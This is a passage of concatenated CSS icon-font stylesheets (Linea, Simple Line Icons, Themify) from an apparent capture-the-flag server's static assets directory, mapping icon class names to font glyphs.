.icon-ecommerce-bag-search:before { content: "i"; } .icon-ecommerce-bag-upload:before { content: "j"; } .icon-ecommerce-banknote:before { content: "k"; } .icon-ecommerce-banknotes:before { content: "l"; } .icon-ecommerce-basket:before { content: "m"; } .icon-ecommerce-basket-check:before { content: "n"; } .icon-ecommerce-basket-cloud:before { content: "o"; } .icon-ecommerce-basket-download:before { content: "p"; } .icon-ecommerce-basket-minus:before { content: "q"; } .icon-ecommerce-basket-plus:before { content: "r"; } .icon-ecommerce-basket-refresh:before { content: "s"; } .icon-ecommerce-basket-remove:before { content: "t"; } .icon-ecommerce-basket-search:before { content: "u"; } .icon-ecommerce-basket-upload:before { content: "v"; } .icon-ecommerce-bath:before { content: "w"; } .icon-ecommerce-cart:before { content: "x"; } .icon-ecommerce-cart-check:before { content: "y"; } .icon-ecommerce-cart-cloud:before { content: "z"; } .icon-ecommerce-cart-content:before { content: "A"; } .icon-ecommerce-cart-download:before { content: "B"; } .icon-ecommerce-cart-minus:before { content: "C"; } .icon-ecommerce-cart-plus:before { content: "D"; } .icon-ecommerce-cart-refresh:before { content: "E"; } .icon-ecommerce-cart-remove:before { content: "F"; } .icon-ecommerce-cart-search:before { content: "G"; } .icon-ecommerce-cart-upload:before { content: "H"; } .icon-ecommerce-cent:before { content: "I"; } .icon-ecommerce-colon:before { content: "J"; } .icon-ecommerce-creditcard:before { content: "K"; } .icon-ecommerce-diamond:before { content: "L"; } .icon-ecommerce-dollar:before { content: "M"; } .icon-ecommerce-euro:before { content: "N"; } .icon-ecommerce-franc:before { content: "O"; } .icon-ecommerce-gift:before { content: "P"; } .icon-ecommerce-graph1:before { content: "Q"; } .icon-ecommerce-graph2:before { content: "R"; } .icon-ecommerce-graph3:before { content: "S"; } .icon-ecommerce-graph-decrease:before { content: "T"; } .icon-ecommerce-graph-increase:before { content: "U"; } .icon-ecommerce-guarani:before { content: "V"; } .icon-ecommerce-kips:before { content: "W"; } .icon-ecommerce-lira:before { content: "X"; } .icon-ecommerce-megaphone:before { content: "Y"; } .icon-ecommerce-money:before { content: "Z"; } .icon-ecommerce-naira:before { content: "0"; } .icon-ecommerce-pesos:before { content: "1"; } .icon-ecommerce-pound:before { content: "2"; } .icon-ecommerce-receipt:before { content: "3"; } .icon-ecommerce-receipt-bath:before { content: "4"; } .icon-ecommerce-receipt-cent:before { content: "5"; } .icon-ecommerce-receipt-dollar:before { content: "6"; } .icon-ecommerce-receipt-euro:before { content: "7"; } .icon-ecommerce-receipt-franc:before { content: "8"; } .icon-ecommerce-receipt-guarani:before { content: "9"; } .icon-ecommerce-receipt-kips:before { content: "!"; } .icon-ecommerce-receipt-lira:before { content: "\""; } .icon-ecommerce-receipt-naira:before { content: "#"; } .icon-ecommerce-receipt-pesos:before { content: "$"; } .icon-ecommerce-receipt-pound:before { content: "%"; } .icon-ecommerce-receipt-rublo:before { content: "&"; } .icon-ecommerce-receipt-rupee:before { content: "'"; } .icon-ecommerce-receipt-tugrik:before { content: "("; } .icon-ecommerce-receipt-won:before { content: ")"; } .icon-ecommerce-receipt-yen:before { content: "*"; } .icon-ecommerce-receipt-yen2:before { content: "+"; } .icon-ecommerce-recept-colon:before { content: ","; } .icon-ecommerce-rublo:before { content: "-"; } .icon-ecommerce-rupee:before { content: "."; } .icon-ecommerce-safe:before { content: "/"; } .icon-ecommerce-sale:before { content: ":"; } .icon-ecommerce-sales:before { content: ";"; } .icon-ecommerce-ticket:before { content: "<"; } .icon-ecommerce-tugriks:before { content: "="; } .icon-ecommerce-wallet:before { content: ">"; } .icon-ecommerce-won:before { content: "?"; } .icon-ecommerce-yen:before { content: "@"; } .icon-ecommerce-yen2:before { content: "["; } @font-face { font-family: "linea-music-10"; src: url("fonts/linea-music-10.eot"); src: url("fonts/linea-music-10d41d.eot?#iefix") format("embedded-opentype"), url("fonts/linea-music-10.woff") format("woff"), url("fonts/linea-music-10.ttf") format("truetype"), url("fonts/linea-music-10.svg#linea-music-10") format("svg"); font-weight: normal; font-style: normal; } .linea-music[data-icon]:before { font-family: "linea-music-10" !important; content: attr(data-icon); font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } [class^="linea-icon-"]:before, [class*="linea- icon-"]:before { font-family: "linea-music-10" !important; font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .icon-music-beginning-button:before { content: "a"; } .icon-music-bell:before { content: "b"; } .icon-music-cd:before { content: "c"; } .icon-music-diapason:before { content: "d"; } .icon-music-eject-button:before { content: "e"; } .icon-music-end-button:before { content: "f"; } .icon-music-fastforward-button:before { content: "g"; } .icon-music-headphones:before { content: "h"; } .icon-music-ipod:before { content: "i"; } .icon-music-loudspeaker:before { content: "j"; } .icon-music-microphone:before { content: "k"; } .icon-music-microphone-old:before { content: "l"; } .icon-music-mixer:before { content: "m"; } .icon-music-mute:before { content: "n"; } .icon-music-note-multiple:before { content: "o"; } .icon-music-note-single:before { content: "p"; } .icon-music-pause-button:before { content: "q"; } .icon-music-play-button:before { content: "r"; } .icon-music-playlist:before { content: "s"; } .icon-music-radio-ghettoblaster:before { content: "t"; } .icon-music-radio-portable:before { content: "u"; } .icon-music-record:before { content: "v"; } .icon-music-recordplayer:before { content: "w"; } .icon-music-repeat-button:before { content: "x"; } .icon-music-rewind-button:before { content: "y"; } .icon-music-shuffle-button:before { content: "z"; } .icon-music-stop-button:before { content: "A"; } .icon-music-tape:before { content: "B"; } .icon-music-volume-down:before { content: "C"; } .icon-music-volume-up:before { content: "D"; } @font-face { font-family: "linea-software-10"; src: url("fonts/linea-software-10.eot"); src: url("fonts/linea-software-10d41d.eot?#iefix") format("embedded-opentype"), url("fonts/linea-software-10.woff") format("woff"), url("fonts/linea-software-10.ttf") format("truetype"), url("fonts/linea-software-10.svg#linea-software-10") format("svg"); font-weight: normal; font-style: normal; } .linea-software[data-icon]:before { font-family: "linea-software-10" !important; content: attr(data-icon); font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } [class^="linea-icon-"]:before, [class*="linea- icon-"]:before { font-family: "linea-software-10" !important; font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .icon-software-add-vectorpoint:before { content: "a"; } .icon-software-box-oval:before { content: "b"; } .icon-software-box-polygon:before { content: "c"; } .icon-software-box-rectangle:before { content: "d"; } .icon-software-box-roundedrectangle:before { content: "e"; } .icon-software-character:before { content: "f"; } .icon-software-crop:before { content: "g"; } .icon-software-eyedropper:before { content: "h"; } .icon-software-font-allcaps:before { content: "i"; } .icon-software-font-baseline-shift:before { content: "j"; } .icon-software-font-horizontal-scale:before { content: "k"; } .icon-software-font-kerning:before { content: "l"; } .icon-software-font-leading:before { content: "m"; } .icon-software-font-size:before { content: "n"; } .icon-software-font-smallcapital:before { content: "o"; } .icon-software-font-smallcaps:before { content: "p"; } .icon-software-font-strikethrough:before { content: "q"; } .icon-software-font-tracking:before { content: "r"; } .icon-software-font-underline:before { content: "s"; } .icon-software-font-vertical-scale:before { content: "t"; } .icon-software-horizontal-align-center:before { content: "u"; } .icon-software-horizontal-align-left:before { content: "v"; } .icon-software-horizontal-align-right:before { content: "w"; } .icon-software-horizontal-distribute-center:before { content: "x"; } .icon-software-horizontal-distribute-left:before { content: "y"; } .icon-software-horizontal-distribute-right:before { content: "z"; } .icon-software-indent-firstline:before { content: "A"; } .icon-software-indent-left:before { content: "B"; } .icon-software-indent-right:before { content: "C"; } .icon-software-lasso:before { content: "D"; } .icon-software-layers1:before { content: "E"; } .icon-software-layers2:before { content: "F"; } .icon-software-layout:before { content: "G"; } .icon-software-layout-2columns:before { content: "H"; } .icon-software-layout-3columns:before { content: "I"; } .icon-software-layout-4boxes:before { content: "J"; } .icon-software-layout-4columns:before { content: "K"; } .icon-software-layout-4lines:before { content: "L"; } .icon-software-layout-8boxes:before { content: "M"; } .icon-software-layout-header:before { content: "N"; } .icon-software-layout-header-2columns:before { content: "O"; } .icon-software-layout-header-3columns:before { content: "P"; } .icon-software-layout-header-4boxes:before { content: "Q"; } .icon-software-layout-header-4columns:before { content: "R"; } .icon-software-layout-header-complex:before { content: "S"; } .icon-software-layout-header-complex2:before { content: "T"; } .icon-software-layout-header-complex3:before { content: "U"; } .icon-software-layout-header-complex4:before { content: "V"; } .icon-software-layout-header-sideleft:before { content: "W"; } .icon-software-layout-header-sideright:before { content: "X"; } .icon-software-layout-sidebar-left:before { content: "Y"; } .icon-software-layout-sidebar-right:before { content: "Z"; } .icon-software-magnete:before { content: "0"; } .icon-software-pages:before { content: "1"; } .icon-software-paintbrush:before { content: "2"; } .icon-software-paintbucket:before { content: "3"; } .icon-software-paintroller:before { content: "4"; } .icon-software-paragraph:before { content: "5"; } .icon-software-paragraph-align-left:before { content: "6"; } .icon-software-paragraph-align-right:before { content: "7"; } .icon-software-paragraph-center:before { content: "8"; } .icon-software-paragraph-justify-all:before { content: "9"; } .icon-software-paragraph-justify-center:before { content: "!"; } .icon-software-paragraph-justify-left:before { content: "\""; } .icon-software-paragraph-justify-right:before { content: "#"; } .icon-software-paragraph-space-after:before { content: "$"; } .icon-software-paragraph-space-before:before { content: "%"; } .icon-software-pathfinder-exclude:before { content: "&"; } .icon-software-pathfinder-intersect:before { content: "'"; } .icon-software-pathfinder-subtract:before { content: "("; } .icon-software-pathfinder-unite:before { content: ")"; } .icon-software-pen:before { content: "*"; } .icon-software-pen-add:before { content: "+"; } .icon-software-pen-remove:before { content: ","; } .icon-software-pencil:before { content: "-"; } .icon-software-polygonallasso:before { content: "."; } .icon-software-reflect-horizontal:before { content: "/"; } .icon-software-reflect-vertical:before { content: ":"; } .icon-software-remove-vectorpoint:before { content: ";"; } .icon-software-scale-expand:before { content: "<"; } .icon-software-scale-reduce:before { content: "="; } .icon-software-selection-oval:before { content: ">"; } .icon-software-selection-polygon:before { content: "?"; } .icon-software-selection-rectangle:before { content: "@"; } .icon-software-selection-roundedrectangle:before { content: "["; } .icon-software-shape-oval:before { content: "]"; } .icon-software-shape-polygon:before { content: "^"; } .icon-software-shape-rectangle:before { content: "_"; } .icon-software-shape-roundedrectangle:before { content: "`"; } .icon-software-slice:before { content: "{"; } .icon-software-transform-bezier:before { content: "|"; } .icon-software-vector-box:before { content: "}"; } .icon-software-vector-composite:before { content: "~"; } .icon-software-vector-line:before { content: ""; } .icon-software-vertical-align-bottom:before { content: "\e000"; } .icon-software-vertical-align-center:before { content: "\e001"; } .icon-software-vertical-align-top:before { content: "\e002"; } .icon-software-vertical-distribute-bottom:before { content: "\e003"; } .icon-software-vertical-distribute-center:before { content: "\e004"; } .icon-software-vertical-distribute-top:before { content: "\e005"; } @font-face { font-family: "linea-weather-10"; src: url("fonts/linea-weather-10.eot"); src: url("fonts/linea-weather-10d41d.eot?#iefix") format("embedded-opentype"), url("fonts/linea-weather-10.woff") format("woff"), url("fonts/linea-weather-10.ttf") format("truetype"), url("fonts/linea-weather-10.svg#linea-weather-10") format("svg"); font-weight: normal; font-style: normal; } .linea-weather[data-icon]:before { font-family: "linea-weather-10" !important; content: attr(data-icon); font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } [class^="linea-icon-"]:before, [class*="linea- icon-"]:before { font-family: "linea-weather-10" !important; font-style: normal !important; font-weight: normal !important; font-variant: normal !important; text-transform: none !important; speak: none; line-height: 1; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .icon-weather-aquarius:before { content: "\e000"; } .icon-weather-aries:before { content: "\e001"; } .icon-weather-cancer:before { content: "\e002"; } .icon-weather-capricorn:before { content: "\e003"; } .icon-weather-cloud:before { content: "\e004"; } .icon-weather-cloud-drop:before { content: "\e005"; } .icon-weather-cloud-lightning:before { content: "\e006"; } .icon-weather-cloud-snowflake:before { content: "\e007"; } .icon-weather-downpour-fullmoon:before { content: "\e008"; } .icon-weather-downpour-halfmoon:before { content: "\e009"; } .icon-weather-downpour-sun:before { content: "\e00a"; } .icon-weather-drop:before { content: "\e00b"; } .icon-weather-first-quarter:before { content: "\e00c"; } .icon-weather-fog:before { content: "\e00d"; } .icon-weather-fog-fullmoon:before { content: "\e00e"; } .icon-weather-fog-halfmoon:before { content: "\e00f"; } .icon-weather-fog-sun:before { content: "\e010"; } .icon-weather-fullmoon:before { content: "\e011"; } .icon-weather-gemini:before { content: "\e012"; } .icon-weather-hail:before { content: "\e013"; } .icon-weather-hail-fullmoon:before { content: "\e014"; } .icon-weather-hail-halfmoon:before { content: "\e015"; } .icon-weather-hail-sun:before { content: "\e016"; } .icon-weather-last-quarter:before { content: "\e017"; } .icon-weather-leo:before { content: "\e018"; } .icon-weather-libra:before { content: "\e019"; } .icon-weather-lightning:before { content: "\e01a"; } .icon-weather-mistyrain:before { content: "\e01b"; } .icon-weather-mistyrain-fullmoon:before { content: "\e01c"; } .icon-weather-mistyrain-halfmoon:before { content: "\e01d"; } .icon-weather-mistyrain-sun:before { content: "\e01e"; } .icon-weather-moon:before { content: "\e01f"; } .icon-weather-moondown-full:before { content: "\e020"; } .icon-weather-moondown-half:before { content: "\e021"; } .icon-weather-moonset-full:before { content: "\e022"; } .icon-weather-moonset-half:before { content: "\e023"; } .icon-weather-move2:before { content: "\e024"; } .icon-weather-newmoon:before { content: "\e025"; } .icon-weather-pisces:before { content: "\e026"; } .icon-weather-rain:before { content: "\e027"; } .icon-weather-rain-fullmoon:before { content: "\e028"; } .icon-weather-rain-halfmoon:before { content: "\e029"; } .icon-weather-rain-sun:before { content: "\e02a"; } .icon-weather-sagittarius:before { content: "\e02b"; } .icon-weather-scorpio:before { content: "\e02c"; } .icon-weather-snow:before { content: "\e02d"; } .icon-weather-snow-fullmoon:before { content: "\e02e"; } .icon-weather-snow-halfmoon:before { content: "\e02f"; } .icon-weather-snow-sun:before { content: "\e030"; } .icon-weather-snowflake:before { content: "\e031"; } .icon-weather-star:before { content: "\e032"; } .icon-weather-storm-11:before { content: "\e033"; } .icon-weather-storm-32:before { content: "\e034"; } .icon-weather-storm-fullmoon:before { content: "\e035"; } .icon-weather-storm-halfmoon:before { content: "\e036"; } .icon-weather-storm-sun:before { content: "\e037"; } .icon-weather-sun:before { content: "\e038"; } .icon-weather-sundown:before { content: "\e039"; } .icon-weather-sunset:before { content: "\e03a"; } .icon-weather-taurus:before { content: "\e03b"; } .icon-weather-tempest:before { content: "\e03c"; } .icon-weather-tempest-fullmoon:before { content: "\e03d"; } .icon-weather-tempest-halfmoon:before { content: "\e03e"; } .icon-weather-tempest-sun:before { content: "\e03f"; } .icon-weather-variable-fullmoon:before { content: "\e040"; } .icon-weather-variable-halfmoon:before { content: "\e041"; } .icon-weather-variable-sun:before { content: "\e042"; } .icon-weather-virgo:before { content: "\e043"; } .icon-weather-waning-cresent:before { content: "\e044"; } .icon-weather-waning-gibbous:before { content: "\e045"; } .icon-weather-waxing-cresent:before { content: "\e046"; } .icon-weather-waxing-gibbous:before { content: "\e047"; } .icon-weather-wind:before { content: "\e048"; } .icon-weather-wind-e:before { content: "\e049"; } .icon-weather-wind-fullmoon:before { content: "\e04a"; } .icon-weather-wind-halfmoon:before { content: "\e04b"; } .icon-weather-wind-n:before { content: "\e04c"; } .icon-weather-wind-ne:before { content: "\e04d"; } .icon-weather-wind-nw:before { content: "\e04e"; } .icon-weather-wind-s:before { content: "\e04f"; } .icon-weather-wind-se:before { content: "\e050"; } .icon-weather-wind-sun:before { content: "\e051"; } .icon-weather-wind-sw:before { content: "\e052"; } .icon-weather-wind-w:before { content: "\e053"; } .icon-weather-windgust:before { content: "\e054"; } ================================================ FILE: flag_server/webapps/static/icons/simple-line-icons/css/simple-line-icons.css ================================================ @font-face { font-family: 'simple-line-icons'; src: url('../fonts/Simple-Line-Icons4c82.eot?-i3a2kk'); src: url('../fonts/Simple-Line-Iconsd41d.eot?#iefix-i3a2kk') format('embedded-opentype'), url('../fonts/Simple-Line-Icons4c82.ttf?-i3a2kk') format('truetype'), url('../fonts/Simple-Line-Icons4c82.woff2?-i3a2kk') format('woff2'), url('../fonts/Simple-Line-Icons4c82.woff?-i3a2kk') format('woff'), url('../fonts/Simple-Line-Icons4c82.svg?-i3a2kk#simple-line-icons') format('svg'); font-weight: normal; font-style: normal; } /* Use the following CSS code if you want to have a class per icon. Instead of a list of all class selectors, you can use the generic [class*="icon-"] selector, but it's slower: */ .icon-user, .icon-people, .icon-user-female, .icon-user-follow, .icon-user-following, .icon-user-unfollow, .icon-login, .icon-logout, .icon-emotsmile, .icon-phone, .icon-call-end, .icon-call-in, .icon-call-out, .icon-map, .icon-location-pin, .icon-direction, .icon-directions, .icon-compass, .icon-layers, .icon-menu, .icon-list, .icon-options-vertical, .icon-options, .icon-arrow-down, .icon-arrow-left, .icon-arrow-right, .icon-arrow-up, .icon-arrow-up-circle, .icon-arrow-left-circle, .icon-arrow-right-circle, .icon-arrow-down-circle, .icon-check, .icon-clock, .icon-plus, .icon-close, .icon-trophy, .icon-screen-smartphone, .icon-screen-desktop, .icon-plane, .icon-notebook, .icon-mustache, .icon-mouse, .icon-magnet, .icon-energy, .icon-disc, .icon-cursor, .icon-cursor-move, .icon-crop, .icon-chemistry, .icon-speedometer, .icon-shield, .icon-screen-tablet, .icon-magic-wand, .icon-hourglass, .icon-graduation, .icon-ghost, .icon-game-controller, .icon-fire, .icon-eyeglass, .icon-envelope-open, .icon-envelope-letter, .icon-bell, .icon-badge, .icon-anchor, .icon-wallet, .icon-vector, .icon-speech, .icon-puzzle, .icon-printer, .icon-present, .icon-playlist, .icon-pin, .icon-picture, .icon-handbag, .icon-globe-alt, .icon-globe, .icon-folder-alt, .icon-folder, .icon-film, .icon-feed, .icon-drop, .icon-drawar, .icon-docs, .icon-doc, .icon-diamond, .icon-cup, .icon-calculator, .icon-bubbles, .icon-briefcase, .icon-book-open, .icon-basket-loaded, .icon-basket, .icon-bag, .icon-action-undo, .icon-action-redo, .icon-wrench, .icon-umbrella, .icon-trash, .icon-tag, .icon-support, .icon-frame, .icon-size-fullscreen, .icon-size-actual, .icon-shuffle, .icon-share-alt, .icon-share, .icon-rocket, .icon-question, .icon-pie-chart, .icon-pencil, .icon-note, .icon-loop, .icon-home, .icon-grid, .icon-graph, .icon-microphone, .icon-music-tone-alt, .icon-music-tone, .icon-earphones-alt, .icon-earphones, .icon-equalizer, .icon-like, .icon-dislike, .icon-control-start, .icon-control-rewind, .icon-control-play, .icon-control-pause, .icon-control-forward, .icon-control-end, .icon-volume-1, .icon-volume-2, .icon-volume-off, .icon-calender, .icon-bulb, .icon-chart, .icon-ban, .icon-bubble, .icon-camrecorder, .icon-camera, .icon-cloud-download, .icon-cloud-upload, .icon-envelope, .icon-eye, .icon-flag, .icon-heart, .icon-info, .icon-key, .icon-link, .icon-lock, .icon-lock-open, .icon-magnifier, .icon-magnifier-add, .icon-magnifier-remove, .icon-paper-clip, .icon-paper-plane, .icon-power, .icon-refresh, .icon-reload, .icon-settings, .icon-star, .icon-symble-female, .icon-symbol-male, .icon-target, .icon-credit-card, .icon-paypal, .icon-social-tumblr, .icon-social-twitter, .icon-social-facebook, .icon-social-instagram, .icon-social-linkedin, .icon-social-pintarest, .icon-social-github, .icon-social-gplus, .icon-social-reddit, .icon-social-skype, .icon-social-dribbble, .icon-social-behance, .icon-social-foursqare, .icon-social-soundcloud, .icon-social-spotify, .icon-social-stumbleupon, .icon-social-youtube, .icon-social-dropbox { font-family: 'simple-line-icons'; speak: none; font-style: normal; font-weight: normal; font-variant: normal; text-transform: none; line-height: 1; /* Better Font Rendering =========== */ -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .icon-user:before { content: "\e005"; } .icon-people:before { content: "\e001"; } .icon-user-female:before { content: "\e000"; } .icon-user-follow:before { content: "\e002"; } .icon-user-following:before { content: "\e003"; } .icon-user-unfollow:before { content: "\e004"; } .icon-login:before { content: "\e066"; } .icon-logout:before { content: "\e065"; } .icon-emotsmile:before { content: "\e021"; } .icon-phone:before { content: "\e600"; } .icon-call-end:before { content: "\e048"; } .icon-call-in:before { content: "\e047"; } .icon-call-out:before { content: "\e046"; } .icon-map:before { content: "\e033"; } .icon-location-pin:before { content: "\e096"; } .icon-direction:before { content: "\e042"; } .icon-directions:before { content: "\e041"; } .icon-compass:before { content: "\e045"; } .icon-layers:before { content: "\e034"; } .icon-menu:before { content: "\e601"; } .icon-list:before { content: "\e067"; } .icon-options-vertical:before { content: "\e602"; } .icon-options:before { content: "\e603"; } .icon-arrow-down:before { content: "\e604"; } .icon-arrow-left:before { content: "\e605"; } .icon-arrow-right:before { content: "\e606"; } .icon-arrow-up:before { content: "\e607"; } .icon-arrow-up-circle:before { content: "\e078"; } .icon-arrow-left-circle:before { content: "\e07a"; } .icon-arrow-right-circle:before { content: "\e079"; } .icon-arrow-down-circle:before { content: "\e07b"; } .icon-check:before { content: "\e080"; } .icon-clock:before { content: "\e081"; } .icon-plus:before { content: "\e095"; } .icon-close:before { content: "\e082"; } .icon-trophy:before { content: "\e006"; } .icon-screen-smartphone:before { content: "\e010"; } .icon-screen-desktop:before { content: "\e011"; } .icon-plane:before { content: "\e012"; } .icon-notebook:before { content: "\e013"; } .icon-mustache:before { content: "\e014"; } .icon-mouse:before { content: "\e015"; } .icon-magnet:before { content: "\e016"; } .icon-energy:before { content: "\e020"; } .icon-disc:before { content: "\e022"; } .icon-cursor:before { content: "\e06e"; } .icon-cursor-move:before { content: "\e023"; } .icon-crop:before { content: "\e024"; } .icon-chemistry:before { content: "\e026"; } .icon-speedometer:before { content: "\e007"; } .icon-shield:before { content: "\e00e"; } .icon-screen-tablet:before { content: "\e00f"; } .icon-magic-wand:before { content: "\e017"; } .icon-hourglass:before { content: "\e018"; } .icon-graduation:before { content: "\e019"; } .icon-ghost:before { content: "\e01a"; } .icon-game-controller:before { content: "\e01b"; } .icon-fire:before { content: "\e01c"; } .icon-eyeglass:before { content: "\e01d"; } .icon-envelope-open:before { content: "\e01e"; } .icon-envelope-letter:before { content: "\e01f"; } .icon-bell:before { content: "\e027"; } .icon-badge:before { content: "\e028"; } .icon-anchor:before { content: "\e029"; } .icon-wallet:before { content: "\e02a"; } .icon-vector:before { content: "\e02b"; } .icon-speech:before { content: "\e02c"; } .icon-puzzle:before { content: "\e02d"; } .icon-printer:before { content: "\e02e"; } .icon-present:before { content: "\e02f"; } .icon-playlist:before { content: "\e030"; } .icon-pin:before { content: "\e031"; } .icon-picture:before { content: "\e032"; } .icon-handbag:before { content: "\e035"; } .icon-globe-alt:before { content: "\e036"; } .icon-globe:before { content: "\e037"; } .icon-folder-alt:before { content: "\e039"; } .icon-folder:before { content: "\e089"; } .icon-film:before { content: "\e03a"; } .icon-feed:before { content: "\e03b"; } .icon-drop:before { content: "\e03e"; } .icon-drawar:before { content: "\e03f"; } .icon-docs:before { content: "\e040"; } .icon-doc:before { content: "\e085"; } .icon-diamond:before { content: "\e043"; } .icon-cup:before { content: "\e044"; } .icon-calculator:before { content: "\e049"; } .icon-bubbles:before { content: "\e04a"; } .icon-briefcase:before { content: "\e04b"; } .icon-book-open:before { content: "\e04c"; } .icon-basket-loaded:before { content: "\e04d"; } .icon-basket:before { content: "\e04e"; } .icon-bag:before { content: "\e04f"; } .icon-action-undo:before { content: "\e050"; } .icon-action-redo:before { content: "\e051"; } .icon-wrench:before { content: "\e052"; } .icon-umbrella:before { content: "\e053"; } .icon-trash:before { content: "\e054"; } .icon-tag:before { content: "\e055"; } .icon-support:before { content: "\e056"; } .icon-frame:before { content: "\e038"; } .icon-size-fullscreen:before { content: "\e057"; } .icon-size-actual:before { content: "\e058"; } .icon-shuffle:before { content: "\e059"; } .icon-share-alt:before { content: "\e05a"; } .icon-share:before { content: "\e05b"; } .icon-rocket:before { content: "\e05c"; } .icon-question:before { content: "\e05d"; } .icon-pie-chart:before { content: "\e05e"; } .icon-pencil:before { content: "\e05f"; } .icon-note:before { content: "\e060"; } .icon-loop:before { content: "\e064"; } .icon-home:before { content: "\e069"; } .icon-grid:before { content: "\e06a"; } .icon-graph:before { content: "\e06b"; } .icon-microphone:before { content: "\e063"; } .icon-music-tone-alt:before { content: "\e061"; } .icon-music-tone:before { content: "\e062"; } .icon-earphones-alt:before { content: "\e03c"; } .icon-earphones:before { content: "\e03d"; } .icon-equalizer:before { content: "\e06c"; } .icon-like:before { content: "\e068"; } .icon-dislike:before { content: "\e06d"; } .icon-control-start:before { content: "\e06f"; } .icon-control-rewind:before { content: "\e070"; } .icon-control-play:before { content: "\e071"; } .icon-control-pause:before { content: "\e072"; } .icon-control-forward:before { content: "\e073"; } .icon-control-end:before { content: "\e074"; } .icon-volume-1:before { content: "\e09f"; } .icon-volume-2:before { content: "\e0a0"; } .icon-volume-off:before { content: "\e0a1"; } .icon-calender:before { content: "\e075"; } .icon-bulb:before { content: "\e076"; } .icon-chart:before { content: "\e077"; } .icon-ban:before { content: "\e07c"; } .icon-bubble:before { content: "\e07d"; } .icon-camrecorder:before { content: "\e07e"; } .icon-camera:before { content: "\e07f"; } .icon-cloud-download:before { content: "\e083"; } .icon-cloud-upload:before { content: "\e084"; } .icon-envelope:before { content: "\e086"; } .icon-eye:before { content: "\e087"; } .icon-flag:before { content: "\e088"; } .icon-heart:before { content: "\e08a"; } .icon-info:before { content: "\e08b"; } .icon-key:before { content: "\e08c"; } .icon-link:before { content: "\e08d"; } .icon-lock:before { content: "\e08e"; } .icon-lock-open:before { content: "\e08f"; } .icon-magnifier:before { content: "\e090"; } .icon-magnifier-add:before { content: "\e091"; } .icon-magnifier-remove:before { content: "\e092"; } .icon-paper-clip:before { content: "\e093"; } .icon-paper-plane:before { content: "\e094"; } .icon-power:before { content: "\e097"; } .icon-refresh:before { content: "\e098"; } .icon-reload:before { content: "\e099"; } .icon-settings:before { content: "\e09a"; } .icon-star:before { content: "\e09b"; } .icon-symble-female:before { content: "\e09c"; } .icon-symbol-male:before { content: "\e09d"; } .icon-target:before { content: "\e09e"; } .icon-credit-card:before { content: "\e025"; } .icon-paypal:before { content: "\e608"; } .icon-social-tumblr:before { content: "\e00a"; } .icon-social-twitter:before { content: "\e009"; } .icon-social-facebook:before { content: "\e00b"; } .icon-social-instagram:before { content: "\e609"; } .icon-social-linkedin:before { content: "\e60a"; } .icon-social-pintarest:before { content: "\e60b"; } .icon-social-github:before { content: "\e60c"; } .icon-social-gplus:before { content: "\e60d"; } .icon-social-reddit:before { content: "\e60e"; } .icon-social-skype:before { content: "\e60f"; } .icon-social-dribbble:before { content: "\e00d"; } .icon-social-behance:before { content: "\e610"; } .icon-social-foursqare:before { content: "\e611"; } .icon-social-soundcloud:before { content: "\e612"; } .icon-social-spotify:before { content: "\e613"; } .icon-social-stumbleupon:before { content: "\e614"; } .icon-social-youtube:before { content: "\e008"; } .icon-social-dropbox:before { content: "\e00c"; } ================================================ FILE: flag_server/webapps/static/icons/themify-icons/themify-icons.css ================================================ @font-face { font-family: 'themify'; src:url('fonts/themify9f24.eot?-fvbane'); src:url('fonts/themifyd41d.eot?#iefix-fvbane') format('embedded-opentype'), url('fonts/themify.woff') format('woff'), url('fonts/themify.ttf') format('truetype'), url('fonts/themify9f24.svg?-fvbane#themify') format('svg'); font-weight: normal; font-style: normal; } [class^="ti-"], [class*=" ti-"] { font-family: 'themify'; speak: none; font-style: normal; font-weight: normal; font-variant: normal; text-transform: none; line-height: 1; /* Better Font Rendering =========== */ -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .ti-wand:before { content: "\e600"; } .ti-volume:before { content: "\e601"; } .ti-user:before { content: "\e602"; } .ti-unlock:before { content: "\e603"; } .ti-unlink:before { content: "\e604"; } .ti-trash:before { content: "\e605"; } .ti-thought:before { content: "\e606"; } .ti-target:before { content: "\e607"; } .ti-tag:before { content: "\e608"; } .ti-tablet:before { content: "\e609"; } .ti-star:before { content: "\e60a"; } .ti-spray:before { content: "\e60b"; } .ti-signal:before { content: "\e60c"; } .ti-shopping-cart:before { content: "\e60d"; } .ti-shopping-cart-full:before { content: "\e60e"; } .ti-settings:before { content: "\e60f"; } .ti-search:before { content: "\e610"; } .ti-zoom-in:before { content: "\e611"; } .ti-zoom-out:before { content: "\e612"; } .ti-cut:before { content: "\e613"; } .ti-ruler:before { content: "\e614"; } .ti-ruler-pencil:before { content: "\e615"; } .ti-ruler-alt:before { content: "\e616"; } .ti-bookmark:before { content: "\e617"; } .ti-bookmark-alt:before { content: "\e618"; } .ti-reload:before { content: "\e619"; } .ti-plus:before { content: "\e61a"; } .ti-pin:before { content: "\e61b"; } .ti-pencil:before { content: "\e61c"; } .ti-pencil-alt:before { content: "\e61d"; } .ti-paint-roller:before { content: "\e61e"; } .ti-paint-bucket:before { content: "\e61f"; } .ti-na:before { content: "\e620"; } .ti-mobile:before { content: "\e621"; } .ti-minus:before { content: "\e622"; } .ti-medall:before { content: "\e623"; } .ti-medall-alt:before { content: "\e624"; } .ti-marker:before { content: "\e625"; } .ti-marker-alt:before { content: "\e626"; } .ti-arrow-up:before { content: "\e627"; } .ti-arrow-right:before { content: "\e628"; } .ti-arrow-left:before { content: "\e629"; } .ti-arrow-down:before { content: "\e62a"; } .ti-lock:before { content: "\e62b"; } .ti-location-arrow:before { content: "\e62c"; } .ti-link:before { content: "\e62d"; } .ti-layout:before { content: "\e62e"; } 